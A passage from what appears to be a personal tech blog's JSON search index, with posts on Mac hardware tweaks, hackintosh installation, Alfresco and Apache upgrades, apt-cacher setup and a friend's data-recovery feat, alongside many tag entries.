go!\n","link":"https://dawning.ca/posts/dear-diary-running-trac-and-upgrading-ubuntu-server-14-04/","section":"posts","tags":["apache","ubuntu","upgrade","configuration","server","permission","trac","12.04","14.04","500","internal server error","woe"],"title":"Dear Diary: Running Trac and upgrading to Ubuntu Server 14.04"},{"body":"","link":"https://dawning.ca/tags/internal-server-error/","section":"tags","tags":null,"title":"Internal Server Error"},{"body":"","link":"https://dawning.ca/tags/permission/","section":"tags","tags":null,"title":"Permission"},{"body":"","link":"https://dawning.ca/tags/server/","section":"tags","tags":null,"title":"Server"},{"body":"","link":"https://dawning.ca/tags/trac/","section":"tags","tags":null,"title":"Trac"},{"body":"","link":"https://dawning.ca/tags/woe/","section":"tags","tags":null,"title":"Woe"},{"body":"","link":"https://dawning.ca/tags/10.10/","section":"tags","tags":null,"title":"10.10"},{"body":"","link":"https://dawning.ca/tags/17/","section":"tags","tags":null,"title":"17\""},{"body":"Here\u0026rsquo;s the tale of getting USB 3.0 working in a tolerable regard on my 17\u0026quot; MacBook Pro.\nIn short, it cost me about $10 and I had to install a custom, but generic kext to enable USB 3.0. Thankfully, all the heavy lifting was done for me by people with far more free time (lucky freaks).\nHere\u0026rsquo;s a visual of my final result:\nSo come along with me on my tale of computery enhancement.\nGetting to the launchpad (Device Selection) There\u0026rsquo;s two vehicle-types you can chose for the mission, if you\u0026rsquo;re rocking a 17\u0026quot; MacBook like myself. ExpressCard was my first choice, and ended up working out. The other route is thunderbolt, there are various adapters out there, I find this one to be especially encouraging. ExpressCard has the potential of not being an external solution, as you can see.\nI ended up sporting the *GMYLE BC628.�*I forget where I bought it, as I ended up shelving it for a few months before the real push to getting it working arrived.\nFor those without ExpressCard slots (non 17\u0026quot; users), you may as well enjoy that thunerbolt link, cause you almost definitely don\u0026rsquo;t have an ExpressCard reader. Though my adventure through USB 3.0 in VMware would still apply for you\u0026hellip;\nFuelling up (Installation) When I decided to get this going, I was running Mac OS X 10.10 Yosemite Public Beta 2.\nI initially installed the USB 3.0 - Universal kext using MultiBeast.\nThe MultiBeast kext didn\u0026rsquo;t actually work for me. I could see it present, but not loadable by my kernel. I\u0026rsquo;m pretty sure this was only because I\u0026rsquo;m running a beta build of Mac OS and MultiBeast doesn\u0026rsquo;t yet have support for my particular kernel. For people reviewing this later, you\u0026rsquo;ll probably be fine with MultiBeast alone. I ended up replacing the Multibeast kext in /System/Library/Extensions with this�GenericUSBXHCI.kext�(thanks). I\u0026rsquo;m not sure where I got that kext from, but I did not compile it.\nI used the Repair Permissions feature of Disk Utility to square-away potential woe. Then I rebooted. With this, my Card was visible in the System Information�under PCI (as per the image to the right).\nLift-Off�(My Benchmarks) Throughput Operation Type Source Destination Notes\n20MB/s USB write Internal SSD Ext HDD via Apple USB 2.0\n36MB/s USB write Internal SSD Ext HDD via ExpressCard USB 3.0\n35MB/s USB read Ext HDD via Apple USB 2.0 /dev/zero\n98.8MB/s USB read Ext HDD via ExpressCard USB 3.0 /dev/zero\n6.48MB/s USB write Ext HDD via Apple USB 2.0 Ext HDD via Apple USB 2.0 Transfer occurred within VMware Fusion VM\n16MB/s USB write Ext HDD via ExpressCard USB 3.0 Ext HDD via ExpressCard USB 3.0 Transfer occurred within VMware Fusion VM\n4.8MB/s USB write Internal SSD Ext Flash via Apple USB 2.0\n5.6MB/s USB write Internal SSD Ext Flash via ExpressCard USB 3.0\n33.9MB/s USB read Ext Flash via Apple USB 2.0 /dev/null\n75.6MB/s USB read Ext Flash via ExpressCard USB 3.0 /dev/null\nThe data speaks for itself. I care most about the performance of my USB 3.0 attached hard drive. I\u0026rsquo;m getting roughly double the throughput from it and numbers that are typical of what I\u0026rsquo;d see if the drive were attached via SATA. My USB flash drive I tested with was relatively cheap, so I\u0026rsquo;m not overly stunned by its \u0026ldquo;meh\u0026rdquo; performance.\nVMware Detour Newly refitted, I set my course for my destination to carry-out my mission. Most of why I wanted USB 3.0 is to support external storage I\u0026rsquo;m using for VMs. I have an OS X installation on a hard drive that can be booted natively. Since Mac OS will tolerate being transplanted, I typically have been booting this external drive\u0026rsquo;s system within a VM, rather than natively.\nI was quite surprised to find that VMware Fusion largely doesn\u0026rsquo;t support USB 3.0. It gave me an error message when I attached my USB drive to my VM. I googled around and confirmed this seems to be a general problem for virtualization.\nI found a way around my problem, rather than letting VMware worry about USB matters, I instead created a raw disk mapping to my USB-attached block device. VMware didn\u0026rsquo;t complain about that and I was able to run my VM over USB 3.0. Damn straight.\nDebriefing�(Details of my equipment) Here\u0026rsquo;s the details of my toys:\n\\t- 17\u0026quot; MacBook Pro:�MacBookPro8,3\n\\t- Modified MacBook with Dual internal SATA 3 SSDs (SSDs in stripe raid - ~200MB/s writes and ~550MB/s reads)\n\\t- ExpressCard USB 3.0 adapter:�GMYLE BC628\n\\t- 2TB USB 3.0 Seagate drive:�STBX2000401\n\\t- 8GB USB 3.0 flash drive:�PSF8GTAB3USB\n\\t- Mac OS X 10.10 Public Beta 2\nGetting personal Still reading? Huh..\nHow I hope Apple will manage to resurrect their 17\u0026quot; MacBook line OR come up with something remotely similar. I\u0026rsquo;m horrified that the latest MacBook machines have become almost entirely non-upgradable. The general user benefits as they get a much slimmer product but it really kills the longevity of such machines for users like me. Consider my first MacBook, it came with a 60GB hard drive and a gig of ram. It currently sits attached to my TV for general use, with a 750GB drive and 4GB of ram, such hard drives didn\u0026rsquo;t exist when I bought the machine and 4GB of ram was a $900 upgrade at the time (which I promptly did myself using \u0026ldquo;PC\u0026rdquo; parts for $90). My current machine will probably be smashed or stolen before it\u0026rsquo;s obsolete for me, mainly because I can keep upgrading some its support-organs. I don\u0026rsquo;t expect Apple to make more 17\u0026quot; machines or trend back towards user-serviceable parts. As such, my next machine will probably be something resembling a high-end MacBook Air and I\u0026rsquo;ll use it more like a terminal than anything. Apple\u0026rsquo;s trend is good for general users, bad for super-power users and there could be an emerging market for someone to take care of us ultra-geeks. Microsoft seems to be a lot of years away. Maybe if they can adopt a Unix, they could work out. Linux remains crap on the desktop thanks to Xorg remaining functioning as cutting-edge 1980s academicware, but Canonical\u0026rsquo;s Wayland may breathe new life in to the Linux Desktop.\nMy next upgrade for my 17\u0026quot; MBP involves trying to find a good solution to use Hand Off, which requires Bluetooth 4.0. I found a promising lead on that, so perhaps I\u0026rsquo;ll make a posting on that adventure. After that, I guess I\u0026rsquo;ll get around to goofing with this ever-so-attractive Thunderbolt port. Amazing, to have what feels like the spine of the motherboard, open via some port. This too could be something of a saving-grace to the loss of user-servicability.\n^D\n","link":"https://dawning.ca/posts/dear-diary-usb-3-0-on-my-macbook/","section":"posts","tags":["OSX","10.10","macbook pro","17\"","express card","usb 3.0","gmyle","genericusbxhci","kext","yosemite"],"title":"Dear Diary: USB 3.0 on my MacBook"},{"body":"","link":"https://dawning.ca/tags/express-card/","section":"tags","tags":null,"title":"Express Card"},{"body":"","link":"https://dawning.ca/tags/gmyle/","section":"tags","tags":null,"title":"Gmyle"},{"body":"","link":"https://dawning.ca/tags/kext/","section":"tags","tags":null,"title":"Kext"},{"body":"","link":"https://dawning.ca/tags/macbook-pro/","section":"tags","tags":null,"title":"Macbook Pro"},{"body":"","link":"https://dawning.ca/tags/usb-3.0/","section":"tags","tags":null,"title":"Usb 3.0"},{"body":"","link":"https://dawning.ca/tags/yosemite/","section":"tags","tags":null,"title":"Yosemite"},{"body":"","link":"https://dawning.ca/tags/end/","section":"tags","tags":null,"title":"End"},{"body":"","link":"https://dawning.ca/tags/home/","section":"tags","tags":null,"title":"Home"},{"body":"","link":"https://dawning.ca/tags/keys/","section":"tags","tags":null,"title":"Keys"},{"body":"Home, End, Pg Up and Pg Down, keys I use like a crazy-person. And yet, for reasons probably designed to break my mind and will, Apple opted for a fairly different and totally varying use for these keys. I wager it\u0026rsquo;s some sort of nod to super old-school Unix practices. Nevertheless, I\u0026rsquo;ve ripped out some hair over this and had many brief returns to Linux for my desktop platform over it.\nAnyway, mainly for my own purposes, here\u0026rsquo;s the solution that ended up meeting my needs:�http://apple.stackexchange.com/questions/26930/how-can-i-achieve-page-up-and-page-down-in-os-x/123160#123160\n","link":"https://dawning.ca/posts/osx-home-end-pg-up-pg-down/","section":"posts","tags":["OSX","page up","page down","home","end","keys","shortcut","terminal"],"title":"OSX Home, End, Pg Up, Pg Down"},{"body":"","link":"https://dawning.ca/tags/page-down/","section":"tags","tags":null,"title":"Page Down"},{"body":"","link":"https://dawning.ca/tags/page-up/","section":"tags","tags":null,"title":"Page Up"},{"body":"","link":"https://dawning.ca/tags/shortcut/","section":"tags","tags":null,"title":"Shortcut"},{"body":"","link":"https://dawning.ca/tags/terminal/","section":"tags","tags":null,"title":"Terminal"},{"body":"","link":"https://dawning.ca/tags/add/","section":"tags","tags":null,"title":"Add"},{"body":"I\u0026rsquo;ve recently sufficiently mastered rsync to use it everywhere, constantly.\nESXi doesn\u0026rsquo;t have rsync bundled, cause you know, when 16GB flash drives cost $8, you need to keep your hypervisor footprint down to a few MB? I dunno.\nAnyway, here\u0026rsquo;s where to download a build of rsync that\u0026rsquo;ll work on there:�http://damiendebin.net/blog/2013/12/06/esxi-5-dot-1-and-rsync/\nI just SCPed the file over in to my /opt/ and then symlinked it in to my path.\n","link":"https://dawning.ca/posts/add-rsync-to-vmware-esxi-5-x/","section":"posts","tags":["ssh","install","esxi","vmware","esx","rsync","scp","copy","binary","add"],"title":"Add RSYNC to VMware ESXi 5.x"},{"body":"","link":"https://dawning.ca/tags/binary/","section":"tags","tags":null,"title":"Binary"},{"body":"","link":"https://dawning.ca/tags/copy/","section":"tags","tags":null,"title":"Copy"},{"body":"","link":"https://dawning.ca/tags/esx/","section":"tags","tags":null,"title":"Esx"},{"body":"","link":"https://dawning.ca/tags/install/","section":"tags","tags":null,"title":"Install"},{"body":"","link":"https://dawning.ca/tags/rsync/","section":"tags","tags":null,"title":"Rsync"},{"body":"","link":"https://dawning.ca/tags/scp/","section":"tags","tags":null,"title":"Scp"},{"body":"","link":"https://dawning.ca/tags/ssh/","section":"tags","tags":null,"title":"Ssh"},{"body":"","link":"https://dawning.ca/tags/1/","section":"tags","tags":null,"title":"1"},{"body":"","link":"https://dawning.ca/tags/10.9/","section":"tags","tags":null,"title":"10.9"},{"body":"","link":"https://dawning.ca/tags/3/","section":"tags","tags":null,"title":"3"},{"body":"Here\u0026rsquo;s my notes on how I approached installing�OSX 10.9 on my Late 2007 MacBook (MacBook3,1).\nNote I did most of this on a current Mac running 10.9.\nAlso, this kind of worked. I got the install to run but it wouldn\u0026rsquo;t boot after install. I\u0026rsquo;m probably quite close to it working. I\u0026rsquo;ll update this post with notes if I work on this further.\nSteps \\t- Create USB Flash OSX 10.9 installer\n\\t- Go to�/Volumes/Install OS X Mavericks/Install OS X Mavericks.app/Contents/SharedSupport/\n\\t- cp OSInstall.mpkg OSInstall.mpkg__ORIG\n\\t- pkgutil \u0026ndash;expand OSInstall.mpkg OSInstall\n\\t- Find your board-id: oreg -l | grep board-id\n\\t- edit�/Volumes/Install\\ OS\\ X\\ Mavericks/Install\\ OS\\ X\\ Mavericks.app/Contents/SharedSupport/OSInstall/Distribution\n\\t- Add your board-id to the platformSupportValues array in the Distribution file\n\\t- pkgutil \u0026ndash;flatten ./OSInstall ./OSInstall.mpkg\n\\t- Edit the�/Volumes/Install OS X Mavericks/System/Library/CoreServices file to also contain your board-id.\nReferences \\t- http://forums.macrumors.com/showthread.php?t=1598176\u0026page=2\n\\t- https://jamfnation.jamfsoftware.com/discussion.html?id=9728\n\\t- http://www.amongtech.com/install-mac-osx-mavericks-older-generation-mac-pro/\n\\t- http://superuser.com/questions/704751/how-to-upgrade-mac-pro-1-1-from-os-x-10-6-8-to-os-x-10-9-mavericks\n","link":"https://dawning.ca/posts/dear-diary-installing-osx-10-9-on-late-2007-macbook/","section":"posts","tags":["macbook","apple","install","guide","late 2007","3","1","10.9","mavericks"],"title":"Dear Diary: Installing OSX 10.9 on Late 2007 MacBook"},{"body":"","link":"https://dawning.ca/tags/guide/","section":"tags","tags":null,"title":"Guide"},{"body":"","link":"https://dawning.ca/tags/late-2007/","section":"tags","tags":null,"title":"Late 2007"},{"body":"","link":"https://dawning.ca/tags/mavericks/","section":"tags","tags":null,"title":"Mavericks"},{"body":"","link":"https://dawning.ca/tags/4.2.c/","section":"tags","tags":null,"title":"4.2.c"},{"body":"","link":"https://dawning.ca/tags/4.2.f/","section":"tags","tags":null,"title":"4.2.f"},{"body":"","link":"https://dawning.ca/tags/alfresco/","section":"tags","tags":null,"title":"Alfresco"},{"body":" Here\u0026rsquo;s my diary from the \u0026ldquo;epic\u0026rdquo; experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.\nIn my case, my 4.2.c installation was performed by the .bin installer from the Alfresco website. Similarly, my 4.2.f installation used the .bin install method as well.\nNote my alfresco installations are located on my server under\n\\t- /opt/alfresco-4.2.c/\n\\t- /opt/alfresco-4.2.f/\nMy original alfresco installation had an init script created to run it, named alfresco.\nUpgrade Steps \\t- Run* /opt/alfresco-4.2.c/postgesql/bin/pg_dump alfresco \u0026gt; /alfresco-4.2.c-database.postgresql*\n\\t- service alfresco stop\n\\t- Download Alfresco 4.2.f installer.\n\\t- Run Alfresco 4.2.f installer. I previously opted to install alfresco-4.2.c with an init service wrapper. The service for my 4.2.c install is therefore called �alfresco�. The 4.2.f installer required I pick an unused named. So my 4.2.f installation has the service name �alfresco42f�.\n\\t- cp -ra /opt/alfresco-4.2.f/alf_data /opt/alfresco-4.2.f/alf_data__ORIG\n\\t- cp -ra /opt/alfresco-4.2.c/alf_data /opt/alfresco-4.2.f/\n\\t- mkdir /opt/alfresco-4.2.f/alf_data/PENDINGDEL\n\\t- mv��/opt/alfresco-4.2.f/alf_data/postgresql��/opt/alfresco-4.2.f/alf_data/PENDINGDEL/\n\\t- mv��/opt/alfresco-4.2.f/alf_data/solr��/opt/alfresco-4.2.f/alf_data/PENDINGDEL/\n\\t- mv��/opt/alfresco-4.2.f/alf_data/keystore��/opt/alfresco-4.2.f/alf_data/PENDINGDEL/\n\\t- cp -ra��/opt/alfresco-4.2.f/alf_data__ORIG/��/opt/alfresco-4.2.f/alf_data/*\n\\t- service alfresco42f start (wait a couple of mins so it start sanely).\n\\t- Create a new database in the postgres instance that came with the new installation: /opt/alfresco-4.2.f/postgresql/bin/psql�will get you the postgres command line CREATE DATABASE alfresco_42c; will create a database named alfresco_42c.\n\\t- Load the backup copy of the database in to the new database from the previous step: /opt/alfresco-4.2.f/postgresql/bin/psql alfresco_42c�\u0026lt;�/alfresco-4.2.c-database.postgresql\n\\t- Edit�/opt/alfresco-4.2.f/tomcat/shared/classes/alfresco-global.properties to use the alfresco_42c database.\n\\t- Check that the alfresco site now appears to have been successfully upgraded.\n\\t- Remove the startup script for the previous alfresco version: update-rc.d alfresco remove\n\\t- Reboot the server and verify that it starts up you Alfresco instance the way you expect.\n","link":"https://dawning.ca/posts/my-diary-upgrading-alfresco-installations/","section":"posts","tags":["ubuntu","linux","upgrade","update","guide","alfresco","4.2.c","4.2.f","process","steps"],"title":"My Diary: Upgrading Alfresco Installations"},{"body":"","link":"https://dawning.ca/tags/process/","section":"tags","tags":null,"title":"Process"},{"body":"","link":"https://dawning.ca/tags/steps/","section":"tags","tags":null,"title":"Steps"},{"body":"","link":"https://dawning.ca/tags/bare/","section":"tags","tags":null,"title":"Bare"},{"body":"","link":"https://dawning.ca/tags/basic/","section":"tags","tags":null,"title":"Basic"},{"body":"","link":"https://dawning.ca/tags/content/","section":"tags","tags":null,"title":"Content"},{"body":"","link":"https://dawning.ca/tags/content-only/","section":"tags","tags":null,"title":"Content-Only"},{"body":"","link":"https://dawning.ca/tags/javascript/","section":"tags","tags":null,"title":"Javascript"},{"body":"","link":"https://dawning.ca/tags/nextend/","section":"tags","tags":null,"title":"Nextend"},{"body":"","link":"https://dawning.ca/tags/njquery/","section":"tags","tags":null,"title":"NjQuery"},{"body":"","link":"https://dawning.ca/tags/only/","section":"tags","tags":null,"title":"Only"},{"body":"","link":"https://dawning.ca/tags/smart-slider/","section":"tags","tags":null,"title":"Smart Slider"},{"body":"","link":"https://dawning.ca/tags/template/","section":"tags","tags":null,"title":"Template"},{"body":"","link":"https://dawning.ca/tags/theme/","section":"tags","tags":null,"title":"Theme"},{"body":"","link":"https://dawning.ca/tags/twentyfourteen/","section":"tags","tags":null,"title":"Twentyfourteen"},{"body":"","link":"https://dawning.ca/categories/wordpress/","section":"categories","tags":null,"title":"Wordpress"},{"body":"","link":"https://dawning.ca/tags/wordpress/","section":"tags","tags":null,"title":"Wordpress"},{"body":"Today I spent a fair while on a quest to display only page content on a Wordpress site of mine. The situation is that I\u0026rsquo;m trying to make a very easily updated marketing website for an online-learning project of mine. I like using a proprietary page slider for Wordpress (and other platforms, excluding my Moodle e-learning platform). So, hacky as it is, I opted to spin up a dedicated Wordpress site that\u0026rsquo;d just host the sliders in content-only custom theme template files. Of course, this mandated rolling up the sleeves.\nThe central problem ended up being that my proprietary wordpress plugin installs some Javascript stuff it needs. I could have tried to figure out how to manually install that stuff, but I wanted something that\u0026rsquo;d inherit updates of Wordpress and the plugin. I\u0026rsquo;ve found a few examples of doing custom theme templates that show only content, but they lacked the necessary guts to get plugin junk loaded. I\u0026rsquo;ve adapted those bare-bones templates I\u0026rsquo;ve seen, along with code selectively cut from my theme\u0026rsquo;s other files (theme is TwentyFourteen).\nHere\u0026rsquo;s my custom theme page:\n\u003c?php /*\nTemplate Name: Bare Content\n*/\n?\u0026gt;\n\u003c!DOCTYPE html\u003e ","link":"https://dawning.ca/posts/wordpress-displaying-only-content/","section":"posts","tags":["wordpress","theme","template","nextend","smart slider","twentyfourteen","content","only","bare","basic","content-only","javascript","njQuery"],"title":"Wordpress content-only custom templates (with plugin javascript (etc) still being loaded)"},{"body":"","link":"https://dawning.ca/tags/access/","section":"tags","tags":null,"title":"Access"},{"body":"","link":"https://dawning.ca/tags/apache-2.4/","section":"tags","tags":null,"title":"Apache 2.4"},{"body":"","link":"https://dawning.ca/tags/denied/","section":"tags","tags":null,"title":"Denied"},{"body":"I\u0026rsquo;ve been working on migrating a Moodle 2.4+ installation from a rickety old Ubuntu 10.04 server on Amazon EC2 to a fresh machine as I can\u0026rsquo;t seem to update the original server to 12.04, which has newer PHP packages I require to run Moodle 2.6+, which I want specifically due to a user stats plugin I want installed.. So with one thing leading to another, I ran aground recently when I upgraded Ubuntu\u0026rsquo;s 12.04 Apache2 version to Apache 2.4 (from some PPA). This resulted in my site no longer working, it pretty much just said access denied. This was due to some new Apache security setting that my migrated Virtual Host config lacked.\nShould I run in to later, I\u0026rsquo;m throwing down steps I\u0026rsquo;ll follow to avoid the same ice bergs that costs me to burn a little more coffee than I\u0026rsquo;d prefer\u0026hellip;.\nStep 1) Install PHP5.5/Apache2.4 via PPA: �sudo add-apt-repository ppa:ondrej/php5;sudo apt-get update;apt-get -y upgrade\nStep 2) Check VHost Config\u0026rsquo;s Directory sections, add �*Require all granted*� if not present.\nHere\u0026rsquo;s the key stuff I used to find this approach in the first place:�http://askubuntu.com/questions/109404/how-do-i-install-latest-php-in-supported-ubuntu-versions-like-5-4-x-in-ubuntu-1\n","link":"https://dawning.ca/posts/my-diary-on-running-php-5-5-apache-2-4-on-ubuntu-12-04/","section":"posts","tags":["ubuntu","upgrade","configuration","server","permission","12.04","apache 2.4","php5.5","virtual host","access","denied","config","problem"],"title":"My Diary: on running PHP 5.5+ \u0026 Apache 2.4 on Ubuntu 12.04"},{"body":"","link":"https://dawning.ca/tags/php5.5/","section":"tags","tags":null,"title":"Php5.5"},{"body":"","link":"https://dawning.ca/tags/problem/","section":"tags","tags":null,"title":"Problem"},{"body":"","link":"https://dawning.ca/tags/virtual-host/","section":"tags","tags":null,"title":"Virtual Host"},{"body":" STP 1.0\nSo, it\u0026rsquo;s been years overdue, but meh. I\u0026rsquo;ve finally open sourced the code for my cruddy little program, Shit Talker Phoenix. The OSX and Windows versions were developed entirely separately, so they\u0026rsquo;re posted as entirely separate projects. I put the code up on GitHub. Please feel free to fork, modify and send me pull requests (so I can merge your changes).\nSTP OSX on GitHub\nSTP Windows on GitHub\n","link":"https://dawning.ca/posts/2405/","section":"posts","tags":null,"title":"STP code now on GitHub"},{"body":"","link":"https://dawning.ca/tags/avconv/","section":"tags","tags":null,"title":"Avconv"},{"body":"","link":"https://dawning.ca/tags/ffmpeg/","section":"tags","tags":null,"title":"Ffmpeg"},{"body":"","link":"https://dawning.ca/tags/handbrake/","section":"tags","tags":null,"title":"Handbrake"},{"body":"","link":"https://dawning.ca/tags/media/","section":"tags","tags":null,"title":"Media"},{"body":"","link":"https://dawning.ca/tags/mediadrop/","section":"tags","tags":null,"title":"Mediadrop"},{"body":"I\u0026rsquo;ve been working on a somewhat private personal website intended for sharing of family videos. I\u0026rsquo;ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application \u0026ldquo;MediaDrop\u0026rdquo;. I love this web application. It\u0026rsquo;s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.\nI then got sort of obsessed with this cool web app and eventually having family members upload their own videos. The problem was I need the format of the content to be normalized such that it\u0026rsquo;ll cooperate over the podcast feed. After all, these are meant to be easily viewed on Apple TVs. I found a script for this job, as MediaDrop doesn\u0026rsquo;t transcode. Only the script kind of sucked for my purposes. So I forked it!\nCheck out my first github project here:�https://github.com/docdawning/mediadrop-handbrake-bot\nIt automatically transcodes uploaded videos to MP4 files, compatible with Apple TV3 devices.\n","link":"https://dawning.ca/posts/software-mediadrop-automatic-transcoding-script/","section":"posts","tags":["ubuntu","linux","server","PHP","mediadrop","transcode","plugin","script","ffmpeg","avconv","handbrake","media","web-application"],"title":"Software \u003e MediaDrop Automatic Transcoding Script"},{"body":"","link":"https://dawning.ca/tags/transcode/","section":"tags","tags":null,"title":"Transcode"},{"body":"","link":"https://dawning.ca/tags/web-application/","section":"tags","tags":null,"title":"Web-Application"},{"body":" This is the tale of a man who was faced with colossal data loss. As his family photos seem to fade in to the ether and with nothing to lose, he drew a line in the digital sand. He gained a persona that day, he was no longer just \u0026ldquo;Tony: Loving husband and father\u0026rdquo;. No no, that fateful day this man also became The Digital Warlock.\nThe Story of The Digital Warlock Mr. Tony was but a simple genius-grade geek. He busily juggled time between multiple consulting gigs where his skillfully crafted software ran essential systems that each of his customer\u0026rsquo;s businesses depended on. (I\u0026rsquo;m not exaggerating, I know it sounds lavish. It\u0026rsquo;s also true. And I feel qualified to assert it.)\nOne day Tony went home to discover his faithful iMac would no longer boot. It\u0026rsquo;d turn on and eventually display a sadish looking hard drive icon. To his horror, Tony discovered a then recently documented defect had struck. This was the first time a hard drive had ever failed the tech savvy Tony. So he had not been overly concerned with backing up his family\u0026rsquo;s digital photos, which now seemed completely destroyed. He employed a handful of data recovery tools that all seemed promising, but ultimately failed to deliver or invoke any sense of confidence.\nFeeling the nasty prospect of these irreplacable artifacts of his family\u0026rsquo;s history slipping away, Tony rolled up his sleeves. He realized that while the recovery tools seemed useless, the hard drive did still seem remotely alive. He managed to use a trusty tool (dd) to create a copy of whatever raw data the drive would still spit out. From there, he looked in to open source software that had been used for ipods on windows. This lent insight in to the workings of HFS+ file systems, a pre-requisite to completing his quest.\nUltimately, Tony managed to assemble a custom program that was able to interpret the raw data he captured and reconstitute the files in their original form. And just like that, The Digital Warlock came to exist.\nThe immediate aftermath I know Tony from one of his consulting gigs. As he battled the data recovery project, we\u0026rsquo;d discuss his progress a bit. I\u0026rsquo;d try to offer what suggestions and ideas I could (dd was my idea). Though I must admit, in my opinion, I figured he was screwed. I held no practical hope for him ever seeing those images of his children as little pip-squeaks again.\nSo, naturally, I was stunned when a few days after he started writing his own recovery program, he came to me and excitedly reported he\u0026rsquo;d solved it and got his data back! After the initial cheer and ovation I bestowed, it occurred to me this may have been a silent victory. I asked him if he\u0026rsquo;d told others and how had they responded. I wasn\u0026rsquo;t surprised to hear that while he\u0026rsquo;d told people, no one found it interesting nor impressive. Being something of a (talented?) geek myself, I can think of many such times in my own life. It feels kind of horrible when you really do something you think is profoundly awesome and people are irritated by your attempts to even explain what you did. It\u0026rsquo;s a lonely place and probably a fact of life for many people.\nI decided to do something about it.\nThis will not stand I figured it must be rare that someone gets an award for something that really really really means something. It seems to me that many awards are simply handed out, and someone will be selected for each regardless. Further, when it comes to highly technical situations, I imagine that most awards are assigned by people not overly qualified to assess what was done. In the case of Tony defeating a rather obscure a tricky technical demon, I felt I was qualified to make a stand and not let his impressive feat vanish from recognition.\nI decided a trophy of sorts was required. After finding a simple base at a local trophy shop, I came up with Tony\u0026rsquo;s well-earned title, The Digital Warlock. I then salvaged a recently retired hard drive of mine and retrofitted it on to the trophy. The photos say it all.\nSuffice to say, the drive was loaded with one fresh file. The best quality Rick Roll I could dredge from the darkest corner of the internet. Hey, I don\u0026rsquo;t make the rules.\n","link":"https://dawning.ca/posts/tony-enerson-digital-warlock/","section":"posts","tags":["Family","tony enerson","hard drive","imac","failure","digital warlock","recovery","rick roll","hfs","photos","children"],"title":"All Hail Tony, The Digital Warlock"},{"body":"","link":"https://dawning.ca/tags/children/","section":"tags","tags":null,"title":"Children"},{"body":"","link":"https://dawning.ca/tags/digital-warlock/","section":"tags","tags":null,"title":"Digital Warlock"},{"body":"","link":"https://dawning.ca/tags/failure/","section":"tags","tags":null,"title":"Failure"},{"body":"","link":"https://dawning.ca/tags/family/","section":"tags","tags":null,"title":"Family"},{"body":"","link":"https://dawning.ca/tags/hfs/","section":"tags","tags":null,"title":"Hfs"},{"body":"","link":"https://dawning.ca/tags/photos/","section":"tags","tags":null,"title":"Photos"},{"body":"","link":"https://dawning.ca/tags/rick-roll/","section":"tags","tags":null,"title":"Rick Roll"},{"body":"","link":"https://dawning.ca/tags/tony-enerson/","section":"tags","tags":null,"title":"Tony Enerson"},{"body":"","link":"https://dawning.ca/tags/6570/","section":"tags","tags":null,"title":"6570"},{"body":"","link":"https://dawning.ca/tags/asus/","section":"tags","tags":null,"title":"Asus"},{"body":"","link":"https://dawning.ca/tags/hackintosh/","section":"tags","tags":null,"title":"Hackintosh"},{"body":"Recently I decided to try shuffling around my hardware and try a hackintosh setup on my recently acquired i7 box. I last dabbled in this stuff many years back with a P4 box. Suffice to say, my beloved 2008 era Mac Pro is starting to show some age and while I could upgrade it, Apple\u0026rsquo;s dragged ass in updating the Mac Pro line. So, here are my notes.\nRead on to see what steps should work for you, should you use similar hardware.\nNote that this isn\u0026rsquo;t for the faint of heart and I\u0026rsquo;m not holding hands here. I\u0026rsquo;m posting this mostly for my own reference down the road.\n~~~ Hackintosh Asus P9X79 OSX 10.8.3 Installation Notes ~~~\nKey Hardware Motherboard - Asus P9X79 CPU - Intel i7 3820 Video - Asus HD 6570 1GB Storage - Intel 520 60GB SSD\nMy Steps\nCreate an installation medium using an actual hard drive with myHack. (I had problems getting my 32GB Kingston DataTraveler to fully boot. It got far along, but ultimately caused a lot of pain). 1.0) Remove the ATI6000Controller.kext, for the 6570 (got this tip from a form for another 6000 series card). At command line: sudo mv /Volumes/myHack\\ OS\\ X\\ Install\\ Disk/System/Library/Extensions/ATI6000Controller.kext /Volumes/myHack\\ OS\\ X\\ Install\\ Disk/Extra/RemovedExtensions/\n1.1) Re-ran myHack to use myFix on installer setup on my drive I was installing from (Thanks to: http://myhack.sojugarden.com/forum/viewtopic.php?f=5\u0026t=460)\nBooted Installer with flags: -v npci=0x3000 cpus=1 GraphicsEnabler=No\nInstalled with no special notes\nBooted from installed drive with flags: -v npci=0x3000 cpus=1 GraphicsEnabler=No\nNetwork \u0026amp; Audio not working out of the box, had to bypass network config to login the first time. It also appeared that USB3 and 1394 were not working, but whatever.\nNetwork (AppleIntelE1000e.kext) \u0026amp; Audio (VoodooHDA version 0.2.7.3) installed via the MultBeast application. Also re-ran myFix again, for safe/paranoid measure, before rebooting.\nAudio had a common problem with background static. Fixed it by following these steps: (http://www.insanelymac.com/forum/topic/255249-finaly-got-audio-working-alc892-msi-870a-g54-mainboard/). Also of note, a comment from here (http://www.insanelymac.com/forum/topic/251474-alc892-working-but-noisy-s/): \u0026ldquo;Plug in a 3.5 mm headphone or any type of jack into the back pink microphone header. The fuzz should go away.\u0026rdquo; - never tried that\nAs the past has taught me, good next steps are to install a backup admin user and to reboot the installer and use it to make a backup image of the new setup with Disk Utility.\n","link":"https://dawning.ca/posts/notes-on-creating-a-i7-based-hackintosh/","section":"posts","tags":["apple","video","osx86","hackintosh","asus","p9x79","os x","6570"],"title":"Notes on creating a i7 based Hackintosh"},{"body":"","link":"https://dawning.ca/tags/p9x79/","section":"tags","tags":null,"title":"P9x79"},{"body":"","link":"https://dawning.ca/tags/video/","section":"tags","tags":null,"title":"Video"},{"body":"I\u0026rsquo;ve been setting up a number of apt-cacher instances on different networks I run Ubuntu boxes on. This is a well documented process. I\u0026rsquo;m posting the key steps if only for my own reference later.\napt-get install apt-cacher\nEdit /etc/default/apt-cacher add AUTOSTART=1.\nEdit /etc/apt-cacher/apt-cacher.conf and make sure the allowed_hosts line is explicitly as intended.\nOpen client (and local server\u0026rsquo;s) /etc/apt/sources.list and str repl %s/http:\\/\\//http:\\/\\/SERVERHOSTNAME:3142\\/apt-cacher\\//g\nDefault port is 3142\nGood detailed resources: ","link":"https://dawning.ca/posts/apt-cache-cheatsheet/","section":"posts","tags":["apt; apt-get;cache;ubuntu;debian;linux;apt-cacher;tutorial;cheatsheet;cheat sheet;guide;howto;how to;example"],"title":"Apt cache 